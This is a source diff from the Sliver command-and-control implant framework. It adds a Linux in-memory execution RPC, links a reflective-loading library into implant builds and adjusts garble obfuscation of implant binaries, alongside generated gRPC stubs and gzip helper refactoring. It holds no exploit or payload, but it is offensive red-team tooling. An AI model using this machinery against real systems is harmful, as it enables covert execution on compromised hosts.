157, // 229: rpcpb.SliverRPC.RemoveService:output_type -> sliverpb.ServiceInfo
|
||||
158, // 230: rpcpb.SliverRPC.MakeToken:output_type -> sliverpb.MakeToken
|
||||
159, // 231: rpcpb.SliverRPC.GetEnv:output_type -> sliverpb.EnvInfo
|
||||
160, // 232: rpcpb.SliverRPC.SetEnv:output_type -> sliverpb.SetEnv
|
||||
161, // 233: rpcpb.SliverRPC.UnsetEnv:output_type -> sliverpb.UnsetEnv
|
||||
162, // 234: rpcpb.SliverRPC.Backdoor:output_type -> sliverpb.Backdoor
|
||||
163, // 235: rpcpb.SliverRPC.RegistryRead:output_type -> sliverpb.RegistryRead
|
||||
164, // 236: rpcpb.SliverRPC.RegistryWrite:output_type -> sliverpb.RegistryWrite
|
||||
165, // 237: rpcpb.SliverRPC.RegistryCreateKey:output_type -> sliverpb.RegistryCreateKey
|
||||
166, // 238: rpcpb.SliverRPC.RegistryDeleteKey:output_type -> sliverpb.RegistryDeleteKey
|
||||
167, // 239: rpcpb.SliverRPC.RegistryListSubKeys:output_type -> sliverpb.RegistrySubKeyList
|
||||
168, // 240: rpcpb.SliverRPC.RegistryListValues:output_type -> sliverpb.RegistryValuesList
|
||||
169, // 241: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand
|
||||
170, // 242: rpcpb.SliverRPC.HijackDLL:output_type -> clientpb.DllHijack
|
||||
171, // 243: rpcpb.SliverRPC.GetPrivs:output_type -> sliverpb.GetPrivs
|
||||
172, // 244: rpcpb.SliverRPC.StartRportFwdListener:output_type -> sliverpb.RportFwdListener
|
||||
173, // 245: rpcpb.SliverRPC.GetRportFwdListeners:output_type -> sliverpb.RportFwdListeners
|
||||
172, // 246: rpcpb.SliverRPC.StopRportFwdListener:output_type -> sliverpb.RportFwdListener
|
||||
82, // 247: rpcpb.SliverRPC.OpenSession:output_type -> sliverpb.OpenSession
|
||||
0, // 248: rpcpb.SliverRPC.CloseSession:output_type -> commonpb.Empty
|
||||
174, // 249: rpcpb.SliverRPC.RegisterExtension:output_type -> sliverpb.RegisterExtension
|
||||
175, // 250: rpcpb.SliverRPC.CallExtension:output_type -> sliverpb.CallExtension
|
||||
176, // 251: rpcpb.SliverRPC.ListExtensions:output_type -> sliverpb.ListExtensions
|
||||
177, // 252: rpcpb.SliverRPC.WGStartPortForward:output_type -> sliverpb.WGPortForward
|
||||
177, // 253: rpcpb.SliverRPC.WGStopPortForward:output_type -> sliverpb.WGPortForward
|
||||
178, // 254: rpcpb.SliverRPC.WGStartSocks:output_type -> sliverpb.WGSocks
|
||||
178, // 255: rpcpb.SliverRPC.WGStopSocks:output_type -> sliverpb.WGSocks
|
||||
179, // 256: rpcpb.SliverRPC.WGListForwarders:output_type -> sliverpb.WGTCPForwarders
|
||||
180, // 257: rpcpb.SliverRPC.WGListSocksServers:output_type -> sliverpb.WGSocksServers
|
||||
149, // 258: rpcpb.SliverRPC.ExecuteInMemory:output_type -> sliverpb.Execute
|
||||
181, // 259: rpcpb.SliverRPC.Shell:output_type -> sliverpb.Shell
|
||||
182, // 260: rpcpb.SliverRPC.Portfwd:output_type -> sliverpb.Portfwd
|
||||
96, // 261: rpcpb.SliverRPC.CreateSocks:output_type -> sliverpb.Socks
|
||||
0, // 262: rpcpb.SliverRPC.CloseSocks:output_type -> commonpb.Empty
|
||||
97, // 263: rpcpb.SliverRPC.SocksProxy:output_type -> sliverpb.SocksData
|
||||
98, // 264: rpcpb.SliverRPC.CreateTunnel:output_type -> sliverpb.Tunnel
|
||||
0, // 265: rpcpb.SliverRPC.CloseTunnel:output_type -> commonpb.Empty
|
||||
99, // 266: rpcpb.SliverRPC.TunnelData:output_type -> sliverpb.TunnelData
|
||||
20, // 267: rpcpb.SliverRPC.Events:output_type -> clientpb.Event
|
||||
134, // [134:268] is the sub-list for method output_type
|
||||
0, // [0:134] is the sub-list for method input_type
|
||||
0, // [0:0] is the sub-list for extension type_name
|
||||
0, // [0:0] is the sub-list for extension extendee
|
||||
0, // [0:0] is the sub-list for field type_name
|
||||
|
||||
@@ -174,6 +174,9 @@ service SliverRPC {
|
||||
rpc WGListForwarders(sliverpb.WGTCPForwardersReq) returns (sliverpb.WGTCPForwarders);
|
||||
rpc WGListSocksServers(sliverpb.WGSocksServersReq) returns (sliverpb.WGSocksServers);
|
||||
|
||||
// *** Linux CGO specific ***
|
||||
rpc ExecuteInMemory(sliverpb.ExecuteInMemoryReq) returns (sliverpb.Execute);
|
||||
|
||||
// *** Realtime Commands ***
|
||||
rpc Shell(sliverpb.ShellReq) returns (sliverpb.Shell);
|
||||
rpc Portfwd(sliverpb.PortfwdReq) returns (sliverpb.Portfwd);
|
||||
|
||||
@@ -163,6 +163,8 @@ type SliverRPCClient interface {
|
||||
WGStopSocks(ctx context.Context, in *sliverpb.WGSocksStopReq, opts ...grpc.CallOption) (*sliverpb.WGSocks, error)
|
||||
WGListForwarders(ctx context.Context, in *sliverpb.WGTCPForwardersReq, opts ...grpc.CallOption) (*sliverpb.WGTCPForwarders, error)
|
||||
WGListSocksServers(ctx context.Context, in *sliverpb.WGSocksServersReq, opts ...grpc.CallOption) (*sliverpb.WGSocksServers, error)
|
||||
// *** Linux CGO specific ***
|
||||
ExecuteInMemory(ctx context.Context, in *sliverpb.ExecuteInMemoryReq, opts ...grpc.CallOption) (*sliverpb.Execute, error)
|
||||
// *** Realtime Commands ***
|
||||
Shell(ctx context.Context, in *sliverpb.ShellReq, opts ...grpc.CallOption) (*sliverpb.Shell, error)
|
||||
Portfwd(ctx context.Context, in *sliverpb.PortfwdReq, opts ...grpc.CallOption) (*sliverpb.Portfwd, error)
|
||||
@@ -1325,6 +1327,15 @@ func (c *sliverRPCClient) WGListSocksServers(ctx context.Context, in *sliverpb.W
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) ExecuteInMemory(ctx context.Context, in *sliverpb.ExecuteInMemoryReq, opts ...grpc.CallOption) (*sliverpb.Execute, error) {
|
||||
out := new(sliverpb.Execute)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/ExecuteInMemory", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) Shell(ctx context.Context, in *sliverpb.ShellReq, opts ...grpc.CallOption) (*sliverpb.Shell, error) {
|
||||
out := new(sliverpb.Shell)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Shell", in, out, opts...)
|
||||
@@ -1619,6 +1630,8 @@ type SliverRPCServer interface {
|
||||
WGStopSocks(context.Context, *sliverpb.WGSocksStopReq) (*sliverpb.WGSocks, error)
|
||||
WGListForwarders(context.Context, *sliverpb.WGTCPForwardersReq) (*sliverpb.WGTCPForwarders, error)
|
||||
WGListSocksServers(context.Context, *sliverpb.WGSocksServersReq) (*sliverpb.WGSocksServers, error)
|
||||
// *** Linux CGO specific ***
|
||||
ExecuteInMemory(context.Context, *sliverpb.ExecuteInMemoryReq) (*sliverpb.Execute, error)
|
||||
// *** Realtime Commands ***
|
||||
Shell(context.Context, *sliverpb.ShellReq) (*sliverpb.Shell, error)
|
||||
Portfwd(context.Context, *sliverpb.PortfwdReq) (*sliverpb.Portfwd, error)
|
||||
@@ -2011,6 +2024,9 @@ func (UnimplementedSliverRPCServer) WGListForwarders(context.Context, *sliverpb.
|
||||
func (UnimplementedSliverRPCServer) WGListSocksServers(context.Context, *sliverpb.WGSocksServersReq) (*sliverpb.WGSocksServers, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method WGListSocksServers not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) ExecuteInMemory(context.Context, *sliverpb.ExecuteInMemoryReq) (*sliverpb.Execute, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method ExecuteInMemory not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) Shell(context.Context, *sliverpb.ShellReq) (*sliverpb.Shell, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method Shell not implemented")
|
||||
}
|
||||
@@ -4286,6 +4302,24 @@ func _SliverRPC_WGListSocksServers_Handler(srv interface{}, ctx context.Context,
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_ExecuteInMemory_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.ExecuteInMemoryReq)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if interceptor == nil {
|
||||
return srv.(SliverRPCServer).ExecuteInMemory(ctx, in)
|
||||
}
|
||||
info := &grpc.UnaryServerInfo{
|
||||
Server: srv,
|
||||
FullMethod: "/rpcpb.SliverRPC/ExecuteInMemory",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).ExecuteInMemory(ctx, req.(*sliverpb.ExecuteInMemoryReq))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_Shell_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.ShellReq)
|
||||
if err := dec(in); err != nil {
|
||||
@@ -4966,6 +5000,10 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
|
||||
MethodName: "WGListSocksServers",
|
||||
Handler: _SliverRPC_WGListSocksServers_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "ExecuteInMemory",
|
||||
Handler: _SliverRPC_ExecuteInMemory_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "Shell",
|
||||
Handler: _SliverRPC_Shell_Handler,
|
||||
|
||||
@@ -298,6 +298,8 @@ const (
|
||||
MsgRportFwdListenersReq
|
||||
|
||||
MsgRPortfwdReq
|
||||
|
||||
MsgExecuteInMemoryReq
|
||||
)
|
||||
|
||||
// Constants to replace enums
|
||||
@@ -524,6 +526,8 @@ func MsgNumber(request proto.Message) uint32 {
|
||||
return MsgRportFwdListeners
|
||||
case *RPortfwdReq:
|
||||
return MsgRPortfwdReq
|
||||
case *ExecuteInMemoryReq:
|
||||
return MsgExecuteInMemoryReq
|
||||
}
|
||||
return uint32(0)
|
||||
}
|
||||
+1426
-1333
File diff suppressed because it is too large.
Load diff
@@ -445,6 +445,13 @@ message ExecuteWindowsReq {
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
message ExecuteInMemoryReq {
|
||||
bytes Data = 1;
|
||||
repeated string Args = 2;
|
||||
string Path = 3;
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
message Execute {
|
||||
uint32 Status = 1;
|
||||
bytes Stdout = 2;
|
||||
|
||||
@@ -221,6 +221,11 @@ func setupGo(appDir string) error {
|
||||
return err
|
||||
}
|
||||
|
||||
if libreflectErr := setupLibreflect(appDir); libreflectErr != nil {
|
||||
setupLog.Errorf("Failed to setup libreflect")
|
||||
return libreflectErr
|
||||
}
|
||||
|
||||
return setupSGN(appDir)
|
||||
}
|
||||
|
||||
@@ -236,6 +241,20 @@ func setupSGN(appDir string) error {
|
||||
return err
|
||||
}
|
||||
|
||||
func setupLibreflect(appDir string) error {
|
||||
libreflectPath := filepath.Join("fs", "lib", "libreflect.x86_64.a")
|
||||
goLibPath := filepath.Join(appDir, "go", "lib")
|
||||
libreflect, err := assetsFs.ReadFile(libreflectPath)
|
||||
if err != nil {
|
||||
setupLog.Errorf("static asset not found: %s", libreflectPath)
|
||||
return err
|
||||
}
|
||||
libreflectLocalPath := filepath.Join(goLibPath, "libreflect.a")
|
||||
setupLog.Infof("Writing libreflect to %s", libreflectLocalPath)
|
||||
err = os.WriteFile(libreflectLocalPath, libreflect, 0700)
|
||||
return err
|
||||
}
|
||||
|
||||
// SetupGoPath - Extracts dependencies to goPathSrc
|
||||
func SetupGoPath(goPathSrc string) error {
|
||||
|
||||
|
||||
@@ -5,6 +5,6 @@ package assets
|
||||
import "embed"
|
||||
|
||||
var (
|
||||
//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/darwin/amd64/*
|
||||
//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/darwin/amd64/* fs/lib/*.a
|
||||
assetsFs embed.FS
|
||||
)
|
||||
@@ -5,6 +5,6 @@ package assets
|
||||
import "embed"
|
||||
|
||||
var (
|
||||
//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/darwin/arm64/*
|
||||
//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/darwin/arm64/* fs/lib/*.a
|
||||
assetsFs embed.FS
|
||||
)
|
||||
@@ -5,6 +5,6 @@ package assets
|
||||
import "embed"
|
||||
|
||||
var (
|
||||
//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/linux/amd64/*
|
||||
//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/linux/amd64/* fs/lib/*.a
|
||||
assetsFs embed.FS
|
||||
)
|
||||
@@ -5,6 +5,6 @@ package assets
|
||||
import "embed"
|
||||
|
||||
var (
|
||||
//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/linux/arm64/*
|
||||
//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/linux/arm64/* fs/lib/*.a
|
||||
assetsFs embed.FS
|
||||
)
|
||||
@@ -5,6 +5,6 @@ package assets
|
||||
import "embed"
|
||||
|
||||
var (
|
||||
//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/windows/amd64/*
|
||||
//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/windows/amd64/* fs/lib/*.a
|
||||
assetsFs embed.FS
|
||||
)
|
||||
Whitespace-only changes.
@@ -37,7 +37,7 @@ import (
|
||||
|
||||
"github.com/bishopfox/sliver/server/cryptography/minisign"
|
||||
"github.com/bishopfox/sliver/server/db"
|
||||
"github.com/bishopfox/sliver/util/encoders"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/pquerna/otp"
|
||||
"github.com/pquerna/otp/totp"
|
||||
"golang.org/x/crypto/chacha20poly1305"
|
||||
@@ -146,7 +146,7 @@ func Encrypt(key [chacha20poly1305.KeySize]byte, plaintext []byte) ([]byte, erro
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
plaintext = bytes.NewBuffer(encoders.GzipBuf(plaintext)).Bytes()
|
||||
plaintext = bytes.NewBuffer(util.GzipBuf(plaintext)).Bytes()
|
||||
nonce := make([]byte, aead.NonceSize(), aead.NonceSize()+len(plaintext)+aead.Overhead())
|
||||
if _, err := rand.Read(nonce); err != nil {
|
||||
return nil, err
|
||||
@@ -173,7 +173,7 @@ func Decrypt(key [chacha20poly1305.KeySize]byte, ciphertext []byte) ([]byte, err
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return encoders.GunzipBuf(plaintext), nil
|
||||
return util.GunzipBuf(plaintext), nil
|
||||
}
|
||||
|
||||
// NewCipherContext - Wrapper around creating a cipher context from a key
|
||||
|
||||
@@ -339,10 +339,16 @@ func SliverSharedLibrary(name string, otpSecret string, config *models.ImplantCo
|
||||
return "", fmt.Errorf("CC '%s/%s' not found", config.GOOS, config.GOARCH)
|
||||
}
|
||||
}
|
||||
cgoLdflags := ""
|
||||
if config.GOOS == "linux" {
|
||||
libIncludePath := path.Join(gogo.GetGoRootDir(appDir), "lib")
|
||||
cgoLdflags = fmt.Sprintf("-L%s -lreflect", libIncludePath)
|
||||
}
|
||||
goConfig := &gogo.GoConfig{
|
||||
CGO: "1",
|
||||
CC: cc,
|
||||
CXX: cxx,
|
||||
CGO: "1",
|
||||
CGOLDFLAGS: cgoLdflags,
|
||||
CC: cc,
|
||||
CXX: cxx,
|
||||
|
||||
GOOS: config.GOOS,
|
||||
GOARCH: config.GOARCH,
|
||||
|
||||
+18
-8
@@ -27,6 +27,7 @@ import (
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
"github.com/shirou/gopsutil/v3/mem"
|
||||
)
|
||||
|
||||
const (
|
||||
@@ -52,6 +53,7 @@ type GoConfig struct {
|
||||
GOMODCACHE string
|
||||
GOPROXY string
|
||||
CGO string
|
||||
CGOLDFLAGS string
|
||||
CC string
|
||||
CXX string
|
||||
HTTPPROXY string
|
||||
@@ -80,13 +82,19 @@ func GetGoModCache(appDir string) string {
|
||||
return cachePath
|
||||
}
|
||||
|
||||
// Garble requires $HOME to be defined, if it's not set we use the os temp dir
|
||||
func getHomeDir() string {
|
||||
home := os.Getenv("HOME")
|
||||
if home == "" {
|
||||
return os.TempDir()
|
||||
// The Gb limit here is somewhat arbitrary but is based on my own testing
|
||||
func garbleMaxLiteralSize() string {
|
||||
vmStat, err := mem.VirtualMemory()
|
||||
if err != nil {
|
||||
gogoLog.Errorf("Failed to detect amount of system memory: %s", err)
|
||||
return fmt.Sprintf("%d", 1*kb) // Use default
|
||||
}
|
||||
return home
|
||||
if 10*gb < vmStat.Total {
|
||||
gogoLog.Infof("More than 10Gb of system memory, enable large literal obfuscation")
|
||||
return fmt.Sprintf("%d", 64*kb)
|
||||
}
|
||||
gogoLog.Infof("Low system memory, disable large literal obfuscation")
|
||||
return fmt.Sprintf("%d", 2*kb)
|
||||
}
|
||||
|
||||
// GarbleCmd - Execute a go command
|
||||
@@ -96,24 +104,25 @@ func GarbleCmd(config GoConfig, cwd string, command []string) ([]byte, error) {
|
||||
return nil, fmt.Errorf(fmt.Sprintf("Invalid compiler target: %s", target))
|
||||
}
|
||||
garbleBinPath := filepath.Join(config.GOROOT, "bin", "garble")
|
||||
garbleFlags := []string{"-seed=random", "-literals", "-tiny"}
|
||||
garbleFlags := []string{"-seed=random", "-literals"}
|
||||
command = append(garbleFlags, command...)
|
||||
cmd := exec.Command(garbleBinPath, command...)
|
||||
cmd.Dir = cwd
|
||||
cmd.Env = []string{
|
||||
fmt.Sprintf("CC=%s", config.CC),
|
||||
fmt.Sprintf("CGO_ENABLED=%s", config.CGO),
|
||||
fmt.Sprintf("CGO_LDFLAGS=%s", config.CGOLDFLAGS),
|
||||
fmt.Sprintf("GOOS=%s", config.GOOS),
|
||||
fmt.Sprintf("GOARCH=%s", config.GOARCH),
|
||||
fmt.Sprintf("GOPATH=%s", config.ProjectDir),
|
||||
fmt.Sprintf("GOCACHE=%s", config.GOCACHE),
|
||||
fmt.Sprintf("GOMODCACHE=%s", config.GOMODCACHE),
|
||||
fmt.Sprintf("GOPROXY=%s", config.GOPROXY),
|
||||
fmt.Sprintf("GARBLE_MAX_LITERAL_SIZE=%s", garbleMaxLiteralSize()),
|
||||
fmt.Sprintf("HTTP_PROXY=%s", config.HTTPPROXY),
|
||||
fmt.Sprintf("HTTPS_PROXY=%s", config.HTTPSPROXY),
|
||||
fmt.Sprintf("PATH=%s:%s", filepath.Join(config.GOROOT, "bin"), os.Getenv("PATH")),
|
||||
fmt.Sprintf("GOGARBLE=%s", config.GOGARBLE),
|
||||
fmt.Sprintf("HOME=%s", getHomeDir()),
|
||||
}
|
||||
var stdout bytes.Buffer
|
||||
var stderr bytes.Buffer
|
||||
@@ -146,6 +155,7 @@ func GoCmd(config GoConfig, cwd string, command []string) ([]byte, error) {
|
||||
cmd.Env = []string{
|
||||
fmt.Sprintf("CC=%s", config.CC),
|
||||
fmt.Sprintf("CGO_ENABLED=%s", config.CGO),
|
||||
fmt.Sprintf("CGO_LDFLAGS=%s", config.CGOLDFLAGS),
|
||||
fmt.Sprintf("GOOS=%s", config.GOOS),
|
||||
fmt.Sprintf("GOARCH=%s", config.GOARCH),
|
||||
fmt.Sprintf("GOPATH=%s", config.ProjectDir),
|
||||
|
||||
@@ -48,4 +48,5 @@ var (
|
||||
ErrBuildExists = status.Error(codes.AlreadyExists, "Build already exists")
|
||||
|
||||
ErrInvalidBeaconTaskCancelState = status.Error(codes.InvalidArgument, fmt.Sprintf("Invalid task state, must be '%s' to cancel", models.PENDING))
|
||||
ErrUnsupportedOS = status.Error(codes.Unimplemented, "This RPC is not supported for the targeted OS")
|
||||
)
|
||||
@@ -281,6 +281,40 @@ func (rpc *Server) SpawnDll(ctx context.Context, req *sliverpb.InvokeSpawnDllReq
|
||||
return resp, nil
|
||||
}
|
||||
|
||||
func (rpc *Server) ExecuteInMemory(ctx context.Context, req *sliverpb.ExecuteInMemoryReq) (*sliverpb.Execute, error) {
|
||||
var (
|
||||
session *core.Session
|
||||
beacon *models.Beacon
|
||||
err error
|
||||
)
|
||||
|
||||
if !req.Request.Async {
|
||||
session = core.Sessions.Get(req.Request.SessionID)
|
||||
if session == nil {
|
||||
return nil, ErrInvalidSessionID
|
||||
}
|
||||
} else {
|
||||
beacon, err = db.BeaconByID(req.Request.BeaconID)
|
||||
if err != nil {
|
||||
msfLog.Errorf("%s", err)
|
||||
return nil, ErrDatabaseFailure
|
||||
}
|
||||
if beacon == nil {
|
||||
return nil, ErrInvalidBeaconID
|
||||
}
|
||||
}
|
||||
|
||||
if getOS(session, beacon) != "linux" {
|
||||
return nil, ErrUnsupportedOS
|
||||
}
|
||||
resp := &sliverpb.Execute{Response: &commonpb.Response{}}
|
||||
err = rpc.GenericHandler(req, resp)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return resp, nil
|
||||
}
|
||||
|
||||
func getOS(session *core.Session, beacon *models.Beacon) string {
|
||||
if session != nil {
|
||||
return session.OS
|
||||
|
||||
@@ -55,7 +55,7 @@ func EncoderFromNonce(nonce int) (int, Encoder, error) {
|
||||
if encoder, ok := EncoderMap[encoderID]; ok {
|
||||
return encoderID, encoder, nil
|
||||
}
|
||||
return -1, nil, errors.New("invalid encoder nonce")
|
||||
return -1, nil, errors.New("Invalid encoder nonce")
|
||||
}
|
||||
|
||||
// RandomEncoder - Get a random nonce identifier and a matching encoder
|
||||
@@ -70,8 +70,7 @@ func RandomEncoder() (int, Encoder) {
|
||||
}
|
||||
|
||||
// NopNonce - A NOP nonce identifies a request with no encoder/payload
|
||||
//
|
||||
// any value where mod = 0
|
||||
// any value where mod = 0
|
||||
func NopNonce() int {
|
||||
return insecureRand.Intn(maxN) * EncoderModulus
|
||||
}
|
||||
|
||||
+2
-34
@@ -21,7 +21,6 @@ package encoders
|
||||
import (
|
||||
"bytes"
|
||||
"compress/gzip"
|
||||
"sync"
|
||||
)
|
||||
|
||||
// GzipEncoderID - EncoderID
|
||||
@@ -30,49 +29,18 @@ const GzipEncoderID = 49
|
||||
// Gzip - Gzip compression encoder
|
||||
type Gzip struct{}
|
||||
|
||||
var gzipWriterPools = &sync.Pool{}
|
||||
|
||||
func init() {
|
||||
gzipWriterPools = &sync.Pool{
|
||||
New: func() interface{} {
|
||||
w, _ := gzip.NewWriterLevel(nil, gzip.BestSpeed)
|
||||
return w
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
// GzipBuf - Gzip a buffer
|
||||
func GzipBuf(data []byte) []byte {
|
||||
var buf bytes.Buffer
|
||||
gzipWriter := gzipWriterPools.Get().(*gzip.Writer)
|
||||
gzipWriter.Reset(&buf)
|
||||
gzipWriter.Write(data)
|
||||
gzipWriter.Close()
|
||||
gzipWriterPools.Put(gzipWriter)
|
||||
return buf.Bytes()
|
||||
}
|
||||
|
||||
// GunzipBuf - Gunzip a buffer
|
||||
func GunzipBuf(data []byte) []byte {
|
||||
zip, _ := gzip.NewReader(bytes.NewBuffer(data))
|
||||
var buf bytes.Buffer
|
||||
buf.ReadFrom(zip)
|
||||
return buf.Bytes()
|
||||
}
|
||||
|
||||
// Encode - Compress data with gzip
|
||||
func (g Gzip) Encode(data []byte) []byte {
|
||||
var buf bytes.Buffer
|
||||
gzipWriter := gzipWriterPools.Get().(*gzip.Writer)
|
||||
gzipWriter.Reset(&buf)
|
||||
gzipWriter, _ := gzip.NewWriterLevel(&buf, gzip.BestSpeed)
|
||||
gzipWriter.Write(data)
|
||||
gzipWriter.Close()
|
||||
gzipWriterPools.Put(gzipWriter)
|
||||
return buf.Bytes()
|
||||
}
|
||||
|
||||
// Decode - Uncompressed data with gzip
|
||||
func (g Gzip) Decode(data []byte) ([]byte, error) {
|
||||
bytes.NewReader(data)
|
||||
reader, err := gzip.NewReader(bytes.NewReader(data))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
|
||||
@@ -1,5 +1,12 @@
|
||||
package encoders
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"testing"
|
||||
|
||||
implantEncoders "github.com/bishopfox/sliver/implant/sliver/encoders"
|
||||
)
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
@@ -18,15 +25,6 @@ package encoders
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/rand"
|
||||
insecureRand "math/rand"
|
||||
"testing"
|
||||
|
||||
implantEncoders "github.com/bishopfox/sliver/implant/sliver/encoders"
|
||||
)
|
||||
|
||||
func TestGzip(t *testing.T) {
|
||||
sample := randomData()
|
||||
|
||||
@@ -62,20 +60,3 @@ func TestGzip(t *testing.T) {
|
||||
t.Errorf("server/implant outputs do not match returned\n%#v != %#v", sample, data)
|
||||
}
|
||||
}
|
||||
|
||||
func randomDataRandomSize(maxSize int) []byte {
|
||||
buf := make([]byte, insecureRand.Intn(maxSize))
|
||||
rand.Read(buf)
|
||||
return buf
|
||||
}
|
||||
|
||||
func TestGzipGunzip(t *testing.T) {
|
||||
for i := 0; i < 100; i++ {
|
||||
data := randomDataRandomSize(8192)
|
||||
gzipData := GzipBuf(data)
|
||||
gunzipData := GunzipBuf(gzipData)
|
||||
if !bytes.Equal(data, gunzipData) {
|
||||
t.Fatalf("Data does not match")
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,5 +1,12 @@
|
||||
package encoders
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"testing"
|
||||
|
||||
implantEncoders "github.com/bishopfox/sliver/implant/sliver/encoders"
|
||||
)
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
@@ -18,13 +25,6 @@ package encoders
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"testing"
|
||||
|
||||
implantEncoders "github.com/bishopfox/sliver/implant/sliver/encoders"
|
||||
)
|
||||
|
||||
func TestHex(t *testing.T) {
|
||||
sample := randomData()
|
||||
|
||||
@@ -51,8 +51,8 @@ func TestHex(t *testing.T) {
|
||||
}
|
||||
|
||||
// Interoperability
|
||||
if !bytes.Equal(output, output2) {
|
||||
t.Errorf("implant encoder does not match server-side encoder %s", err)
|
||||
if bytes.Compare(output, output2) != 0 {
|
||||
t.Errorf("impant encoder does not match server-side encoder %s", err)
|
||||
}
|
||||
|
||||
data3, err := implantHex.Decode(output)
|
||||
|
||||
@@ -30,6 +30,23 @@ import (
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
// GzipBuf - Gzip a buffer
|
||||
func GzipBuf(data []byte) []byte {
|
||||
var buf bytes.Buffer
|
||||
zip := gzip.NewWriter(&buf)
|
||||
zip.Write(data)
|
||||
zip.Close()
|
||||
return buf.Bytes()
|
||||
}
|
||||
|
||||
// GunzipBuf - Gunzip a buffer
|
||||
func GunzipBuf(data []byte) []byte {
|
||||
zip, _ := gzip.NewReader(bytes.NewBuffer(data))
|
||||
var buf bytes.Buffer
|
||||
buf.ReadFrom(zip)
|
||||
return buf.Bytes()
|
||||
}
|
||||
|
||||
// DeflateBuf - Deflate a buffer using BestCompression (9)
|
||||
func DeflateBuf(data []byte) []byte {
|
||||
var buf bytes.Buffer
|
||||
|
||||
@@ -19,8 +19,10 @@ package util
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/rand"
|
||||
insecureRand "math/rand"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func randomDataRandomSize(maxSize int) []byte {
|
||||
@@ -28,3 +30,14 @@ func randomDataRandomSize(maxSize int) []byte {
|
||||
rand.Read(buf)
|
||||
return buf
|
||||
}
|
||||
|
||||
func TestGzipGunzip(t *testing.T) {
|
||||
for i := 0; i < 100; i++ {
|
||||
data := randomDataRandomSize(8192)
|
||||
gzipData := GzipBuf(data)
|
||||
gunzipData := GunzipBuf(gzipData)
|
||||
if !bytes.Equal(data, gunzipData) {
|
||||
t.Fatalf("Data does not match")
|
||||
}
|
||||
}
|
||||
}
|
||||
+9
-13
@@ -3,7 +3,7 @@ package accessibility
|
||||
// Code generated by cdproto-gen. DO NOT EDIT.
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"errors"
|
||||
|
||||
"github.com/chromedp/cdproto/cdp"
|
||||
"github.com/mailru/easyjson"
|
||||
@@ -64,8 +64,7 @@ func (t ValueType) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *ValueType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch ValueType(v) {
|
||||
switch ValueType(in.String()) {
|
||||
case ValueTypeBoolean:
|
||||
*t = ValueTypeBoolean
|
||||
case ValueTypeTristate:
|
||||
@@ -102,7 +101,7 @@ func (t *ValueType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = ValueTypeValueUndefined
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown ValueType value: %v", v))
|
||||
in.AddError(errors.New("unknown ValueType value"))
|
||||
}
|
||||
}
|
||||
|
||||
